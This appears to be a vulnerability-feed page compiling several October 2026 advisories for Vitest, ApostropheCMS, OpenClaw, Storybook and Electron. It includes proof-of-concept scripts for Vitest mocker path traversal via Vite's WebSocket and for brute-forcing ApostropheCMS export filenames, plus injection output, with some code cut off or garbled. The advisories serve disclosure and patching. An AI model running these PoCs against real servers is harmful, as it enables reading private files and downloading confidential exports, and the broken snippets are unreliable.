PASS precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example result=400
PASS precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000 result=400
PASS negative control: with no mock registered the real module is served
PASS negative control: a mock with a harmless url replaces the module but injects nothing
--- module served for /src/app.js ---
 const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");

 let __0 = __factoryModule__["a"]
 export { __0 as "a" }
 if (__factoryModule__.__factoryPromise != null) {
 __factoryModule__.__factoryPromise.then((resolvedModule) => {
 __0 = resolvedModule["a"];
 })
 }
PASS attacker statement is present in the module the dev server serves
PASS the real module body was replaced
PASS the injected module parses as JavaScript (Vite import analysis accepted it)

RESULT: VULNERABLE
```

* **Positive control** — with no 

Affected package ranges reported by GitHub:
@vitest/mocker: >= 2.1.0-beta.7, < 4.1.12
@vitest/mocker: >= 5.0.0-beta.1, < 5.0.3
Action: GitHub lists first patched versions: @vitest/mocker: 4.1.12; @vitest/mocker: 5.0.3. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix
https://kevwire.com/record/CVE-2026-112950
Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix (Oct 21, 2026).
The path traversal fix released for [GHSA-82fw-gwwq-j7x9](https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9) can be bypassed on Windows by using a backslash in the redirect URL pathname.

The fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite's file allowlist check. On Windows, a value such as `C:/project/root/..\secret.txt` retains `..\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.
CVSS 5.9 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-xp26-3454-mjgp).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112950&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-xp26-3454-mjgp: https://github.com/advisories/GHSA-xp26-3454-mjgp
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112950&date=2026-10-25
## Summary

The path traversal fix released for [GHSA-82fw-gwwq-j7x9](https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9) can be bypassed on Windows by using a backslash in the redirect URL pathname.

The fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite's file allowlist check. On Windows, a value such as `C:/project/root/..\secret.txt` retains `..\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.

I reproduced the issue with the published `@vitest/mocker` packages in both fixed release lines:

- `@vitest/mocker@4.1.11`
- `@vitest/mocker@5.0.0`

The current `main` source at commit `2ce29d5fa758046e5453bd92b8ed6c9da9709bb5` has the same behavior.

## Patches

Fixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so `..\` resolves the same as `../` and the allowlist check rejects it.

## Relationship to GHSA-82fw-gwwq-j7x9

This is a bypass of the accepted fix, not a separate unrelated path. It uses the same `vitest:interceptor:register` redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.

The original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:

- `4.1.11`
- `>=5.0.0-rc.2, {
 const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
 const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
 socket.on('message', (raw) => {
 let message
 try { message = JSON.parse(raw.toString()) } catch { return }
 if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
 clearTimeout(timer)
 socket.close()
 resolve()
 }
 })
 socket.on('open', () => socket.send(JSON.stringify({
 type: 'custom',
 event: 'vitest:interceptor:register',
 data: { type: 'redirect', raw: '', id, url: id, redirect },
 })))
 socket.on('error', reject)
 })
}

try {
 await register('/control', 'traversal:../secret.txt')
 const controlResponse = await fetch(new URL('/control', baseUrl))
 const controlBody = await controlResponse.text()

 await register('/bypass', 'traversal:..\\secret.txt')
 const bypassResponse = await fetch(new URL('/bypass', baseUrl))
 const bypassBody = await bypassResponse.text()

 const result = {
 platform: process.platform,
 root,
 outsideFile: secret,
 slashTraversalStatus: controlResponse.status,
 slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
 backslashTraversalStatus: bypassResponse.status,
 backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
 returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
 expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
 }
 console.log(JSON.stringify(result, null, 2))
 const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
 ? !result.backslashTraversalReturnedOutsideCanary
 : result.backslashTraversalReturnedOutsideCanary
 if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
 await server.close()
}
```

Observed with `@vitest/mocker@4.1.11`:

```json
{
 "platform": "win32",
 "slashTraversalStatus": 404,
 "slashTraversalRejected": true,
 "backslashTraversalStatus": 200,
 "backslashTraversalReturnedOutsideCanary": true,
 "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
 "expectedBackslashTraversalBlocked": false
}
```

The same result was observed with `@vitest/mocker@5.0.0`.

This includes two useful controls:

1. `traversal:../secret.txt` is rejected and returns 404, confirming the published forward-slash fix is active.
2. `traversal:..\secret.txt` returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.

Affected package ranges reported by GitHub:
@vitest/mocker: >= 4.1.11, < 4.1.12
@vitest/mocker: >= 5.0.0-rc.2, < 5.0.3
Action: GitHub lists first patched versions: @vitest/mocker: 4.1.12; @vitest/mocker: 5.0.3. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Exposure of Sensitive Information via predictable export filenames
https://kevwire.com/record/CVE-2026-112953
ApostropheCMS: Exposure of Sensitive Information via predictable export filenames (Oct 21, 2026).
When a user exports content through `@apostrophecms/import-export`, the module copies the generated archive into uploadfs at `/exports/` and returns a public URL under `/uploads/exports/`. The filename is fully deterministic: site `shortName`, document type, a `YYYYMMDDHHmmss` timestamp, and the format extension. There is no secret token.

Anyone who can guess that path can download the archive with a normal unauthenticated HTTP GET while the file is still present (10 minutes by default, longer if the site raises `importExport.export.expiration`). That is a different model from attachment URLs, which rely on hard-to-guess IDs.
CVSS 6.0 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-5gc8-frw3-3vqm).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112953&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-5gc8-frw3-3vqm: https://github.com/advisories/GHSA-5gc8-frw3-3vqm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112953&date=2026-10-25
## Summary

When a user exports content through `@apostrophecms/import-export`, the module copies the generated archive into uploadfs at `/exports/` and returns a public URL under `/uploads/exports/`. The filename is fully deterministic: site `shortName`, document type, a `YYYYMMDDHHmmss` timestamp, and the format extension. There is no secret token.

Anyone who can guess that path can download the archive with a normal unauthenticated HTTP GET while the file is still present (10 minutes by default, longer if the site raises `importExport.export.expiration`). That is a different model from attachment URLs, which rely on hard-to-guess IDs.

Sites that disable export, store uploads on a private backend with no anonymous read, or serve `/uploads` only behind authentication are not hit by the network download step—but the predictable naming is still a design flaw for the default local/public uploadfs layout.

Import-only workflows and imports themselves are out of scope; this is specific to the export download URL.

## Affected configurations

All of the following must apply:

1. The `@apostrophecms/import-export` module is enabled and export is allowed for at least one page or piece type, **and**
2. Export files are served the usual way: `copyIn` to `/exports/…` and delivery via the public `uploads` URL (default local uploadfs or any deployment that exposes the same path without per-file auth).

If export is turned off per type or globally, or `/uploads` is not world-readable, an anonymous attacker cannot pull the file over HTTP—but a co-resident attacker with filesystem or bucket listing access would still see guessable names.

## Remediation

- Put a high-entropy component in the export filename (e.g. `apos.util.generateId()`), **or**
- Stop publishing exports on a world-readable URL—serve downloads through an authenticated route and keep objects in a private prefix until then, **or**
- Document that `importExport.export.expiration` must stay short and treat `/uploads/exports/` as sensitive (weak on its own).

### Details

## Technical details

`exportFile()` in `packages/import-export/lib/methods/export.js` builds the name and publishes it:

```javascript
const date = dayjs().format('YYYYMMDDHHmmss');
const filename = `${self.apos.shortName}-${req.body.type.toLowerCase()}-export-${date}${format.extension}`;
const downloadPath = path.join('/exports', filename);
await copyIn(filepath, downloadPath);
```

The admin UI sends `type` as the module name (e.g. `article`), which matches the filename. The download URL is only shown in the exporter’s notification; nothing binds the HTTP request to that user afterward. After `expiration` (default `1000 * 60 * 10` ms) a timer deletes the object from uploadfs, which limits exposure but leaves a brute-forceable window.

## Proof of concept

The script boots a minimal Apostrophe app with import-export, performs an export as the task user, then downloads the same archive without a session—first by path guessing, then with raw `fetch`. It exits non-zero on failure.

**Requirements:** Node 18+, `pnpm install` at the monorepo root (so `apostrophe` and `@apostrophecms/import-export` resolve). Set `APOSTROPHE_ROOT` to the checkout path.

```bash
#!/usr/bin/env bash
set -euo pipefail

# --- config ---
APOSTROPHE_ROOT="${APOSTROPHE_ROOT:-}"
if [[ -z "${APOSTROPHE_ROOT}" || ! -f "${APOSTROPHE_ROOT}/packages/import-export/package.json" ]]; then
 echo "Set APOSTROPHE_ROOT to your apostrophe monorepo checkout." >&2
 exit 1
fi

export APOS_TEST_DB_PROTOCOL=sqlite
cd "${APOSTROPHE_ROOT}/packages/import-export"

# --- run embedded PoC (no extra repo files) ---
node {
 let apos;
 const shortName = 'poc-export-site';
 const exportsPath = (root) => path.join(root, 'public/uploads/exports');

 try {
 apos = await t.create({
 root: module,
 testModule: true,
 shortName,
 modules: {
 '@apostrophecms/express': {
 options: { session: { secret: 'poc-export-secret' } }
 },
 '@apostrophecms/import-export': {
 options: {
 importExport: { export: { expiration: 60 * 1000 } }
 }
 },
 '@apostrophecms/uploadfs': { options: { storage: 'local' } },
 'home-page': { extend: '@apostrophecms/page-type' },
 article: {
 extend: '@apostrophecms/piece-type',
 options: { alias: 'article', autopublish: true }
 }
 }
 });

 const importExport = apos.modules['@apostrophecms/import-export'];
 const req = apos.task.getReq();
 await apos.article.insert(req, {
 ...apos.article.newInstance(),
 title: 'GHSA PoC confidential piece'
 });

 const articles = await apos.article.find(req).toArray();
 assert.ok(articles.length > 0);

 const exportStartedAt = dayjs();
 req.body = {
 _ids: articles.map((d) => d._id),
 formatName: 'gzip',
 type: 'article'
 };

 const { url: downloadUrl } = await importExport.export(req, apos.article);
 const fileName = path.basename(downloadUrl);
 const prefix = `${shortName}-article-export-`;
 assert.ok(fileName.startsWith(prefix) && fileName.endsWith('.tar.gz'));

 const timestamp = fileName.slice(prefix.length, -'.tar.gz'.length);
 const onDisk = path.join(exportsPath(apos.rootDir), fileName);
 assert.ok(require('node:fs').existsSync(onDisk));

 const anon = await apos.http.get(downloadUrl, { fullResponse: true });
 assert.equal(anon.status, 200);
 assert.ok(Number(anon.headers['content-length'] || 0) > 0 || anon.body?.length > 0);

 let bruteForced = null;
 const center = exportStartedAt.startOf('second');
 for (let offset = -3; offset 100);

 console.log('OK: unauthenticated download', {
 fileName,
 bruteForced,
 bytes: bytes.byteLength,
 listenUrl: base
 });
 } finally {
 if (apos) {
 await t.destroy(apos);
 }
 }
})().catch((err) => {
 console.error(err);
 process.exit(1);
});
NODE
```

**Expected output:** a line similar to 
`OK: unauthenticated download { fileName: 'poc-export-site-article-export-….tar.gz', …, bytes: , listenUrl: 'http://127.0.0.1:…' }`

## Impact

- **Confidentiality:** An unauthenticated remote party can obtain a full export tarball (documents, metadata, 

Affected package ranges reported by GitHub:
@apostrophecms/import-export: < 3.7.1
Action: GitHub lists first patched versions: @apostrophecms/import-export: 3.7.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenClaw: Browser CDP discovery could accept blocked WebSocket URLs
https://kevwire.com/record/CVE-2026-62197
OpenClaw: Browser CDP discovery could accept blocked WebSocket URLs (Oct 21, 2026).
Browser CDP discovery could accept blocked WebSocket URLs. In affected versions, a lower-trust caller or configured input path could reach network destinations that should have been blocked by OpenClaw policy.

This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.
CVSS 6.3 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-3x84-qq85-fj65).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-62197&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-3x84-qq85-fj65: https://github.com/advisories/GHSA-3x84-qq85-fj65
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-62197&date=2026-10-25
### Summary

Browser CDP discovery could accept blocked WebSocket URLs. In affected versions, a lower-trust caller or configured input path could reach network destinations that should have been blocked by OpenClaw policy.

This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.

### Impact

When the affected feature is enabled and reachable, this could reach network destinations that should have been blocked by OpenClaw policy. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path.

### Patched Versions

The first stable patched version is `2026.6.6`.

### Mitigations

Upgrade to a patched OpenClaw release when one is listed. Before upgrading, restrict the affected feature to trusted operators or disable it when it is not needed. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.

Affected package ranges reported by GitHub:
openclaw: < 2026.6.6
Action: GitHub lists first patched versions: openclaw: 2026.6.6. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
https://kevwire.com/record/CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites (Oct 21, 2026).
**Summary:** A malicious website may be able to cause unauthorized file changes in a developer’s project while an affected Storybook development server is running. Under additional conditions, a changed file could be executed by a local runtime with the developer’s privileges. We are not aware of exploitation in the wild.

You are impacted if you run a Storybook dev server in the affected versions.
CVSS 8.6 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114125).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114125&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-f2ph-cmg5-wxc8: https://github.com/advisories/GHSA-f2ph-cmg5-wxc8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-114125: https://nvd.nist.gov/vuln/detail/CVE-2026-114125
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114125&date=2026-10-25
**Summary:** A malicious website may be able to cause unauthorized file changes in a developer’s project while an affected Storybook development server is running. Under additional conditions, a changed file could be executed by a local runtime with the developer’s privileges. We are not aware of exploitation in the wild.

## Who is impacted?

You are impacted if you run a Storybook dev server in the affected versions.

You are not impacted if:

- You run a dev server that you never open in a web browser (e.g. headless automation, MCP clients)
- You run or visit a built version of Storybook

Recent versions of Chrome and Firefox may ask for permission before a website can connect to a `localhost` service. This reduces the risk, but does not remove it. Do not grant this permission to websites you don’t trust.

## Recommended actions

### Upgrade Storybook

Storybook has released patched versions of all affected major Storybook versions that fix all the vulnerabilities necessary for the worst-case scenario above to occur. 

Upgrade to a patched version listed below before running `storybook dev` again. If you cannot upgrade immediately, do not run an affected Storybook dev server until you can apply the fix.

- 11.0.0-alpha.6
- 10.6.2
- 9.1.21
- 8.6.19

### Review potentially breaking changes

Due to the exceptional nature of the reported vulnerabilities, the Storybook team has decided to change the default behavior of Storybook, including versions 8 and 9, for several network-related features that are not essential to most Storybook users' workflow. If your team relies on the affected features, we've added feature flags that can disable specific security updates to support your existing workflows.

Please carefully read the introduced flags and the consequences of using them.

#### Iframe embedding over the network is disabled by default

Storybook no longer allows the manager or preview to be embedded as an iframe on a website with a different host name. Built versions of Storybook are unaffected and can be freely embedded.

If you rely on embedding a Storybook dev server through a separate web app, run that separate app on `localhost`. You may also use the `security.insecureRemoteIframeEmbed` feature flag to re-enable iframe embedding from any origin.

#### The preview iframe rejects messages sent by an unknown host

Both the Storybook preview and manager now restrict the origin of iframes and parent windows that they can send messages to and receive messages from using the `postMessage` API.

By default, Storybook in dev mode only accepts communication with its own origin and other `localhost` services. Built Storybooks continue to accept communication from unknown origins.

A Storybook addon or integration could hypothetically rely on `postMessage` to update a live story's args. If you do that, reach out to the Storybook team to explore safer alternatives.

Storybook composition also relies on `postMessage`, so a composed Storybook on a different origin now fails to load unless it has been built. The `security.insecureIframeMessaging` feature flag disables this protection, but we recommend you build composed Storybooks instead.

#### The `highlight` event signature has changed

Storybook’s own accessibility addon uses the `highlight` event to inject highlights into the preview, which a user can click. Clicking the highlight opens a menu with a link to a documentation page.

The API for that event was too permissive and could be used to trigger arbitrary events, including events processed by the user’s dev server. We reworked the API to prevent abuse. Besides the accessibility addon, Chromatic's Visual Tests addon uses this API to link to documentation from highlighted ignored elements. Update the Visual Tests addon to version 5.5.1 or later to keep that link working. Because no other addons use this API as far as we know, we have not added a feature flag to restore the old API.

## Disclosure timeline

On September 30th, the Storybook team received a responsible disclosure showing how a malicious website can embed a Storybook dev server's preview iframe and send events to the dev server on the developer's machine.

They combined this information with findings from an ongoing security audit to come up with a worst-case-scenario exploitation of the disclosed vulnerability, and the ones we independently discovered. They then worked to address all layers necessary for this worst-case scenario to happen. We have not received evidence of exploitation in real Storybook projects. The attack outlined in this advisory relies on correctly exploiting a sequence of many vulnerabilities, some of which were never disclosed to the Storybook team.

### Worst-case attack scenario

An attacker-controlled website can interact with the preview of a running Storybook dev server. With user interaction, it may cause the dev server to make unauthorized changes to story files. If a malicious file is subsequently executed by a local runtime, the attack could lead to arbitrary code execution with the developer’s permissions.

Affected package ranges reported by GitHub:
storybook: >= 8.0.0, < 8.6.19
storybook: >= 9.0.0, < 9.1.21
storybook: >= 10.0.0, < 10.6.2
storybook: >= 11.0.0-alpha.0, < 11.0.0-alpha.6
@storybook/core: >= 8.0.0, < 8.6.19
@storybook/core-server: >= 8.0.0, < 8.6.19
@storybook/experimental-addon-test: >= 8.0.0, < 8.6.19
@storybook/addon-vitest: >= 9.0.0, < 9.1.21
@storybook/addon-vitest: >= 10.0.0, < 10.6.2
@storybook/addon-vitest: >= 11.0.0-alpha.0, < 11.0.0-alpha.6
@storybook/addon-mcp: >= 10.6.0, < 10.6.2
@storybook/addon-mcp: >= 11.0.0-alpha.0, < 11.0.0-alpha.6
Action: GitHub lists first patched versions: storybook: 8.6.19; storybook: 9.1.21; storybook: 10.6.2; storybook: 11.0.0-alpha.6; @storybook/core: 8.6.19; @storybook/core-server: 8.6.19; @storybook/experimental-addon-test: 8.6.19; @storybook/addon-vitest: 9.1.21; @storybook/addon-vitest: 10.6.2; @storybook/addon-vitest: 11.0.0-alpha.6; @storybook/addon-mcp: 10.6.2; @storybook/addon-mcp: 11.0.0-alpha.6. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Electron: HID and USB permission checks can be attributed to the wrong origin
https://kevwire.com/record/CVE-2026-113800
Electron: HID and USB permission checks can be attributed to the wrong origin (Oct 21, 2026).
You're only affected if you use `setPermissionCheckHandler` with origin-based logic for `hid` or `usb` and embed cross-origin iframes with `allow="hid"` or `allow="usb"`. Apps that don't delegate those features to untrusted iframes are not affected.
CVSS 5.4 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-fw47-9c62-h3vw).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113800&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-fw47-9c62-h3vw: https://github.com/advisories/GHSA-fw47-9c62-h3vw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
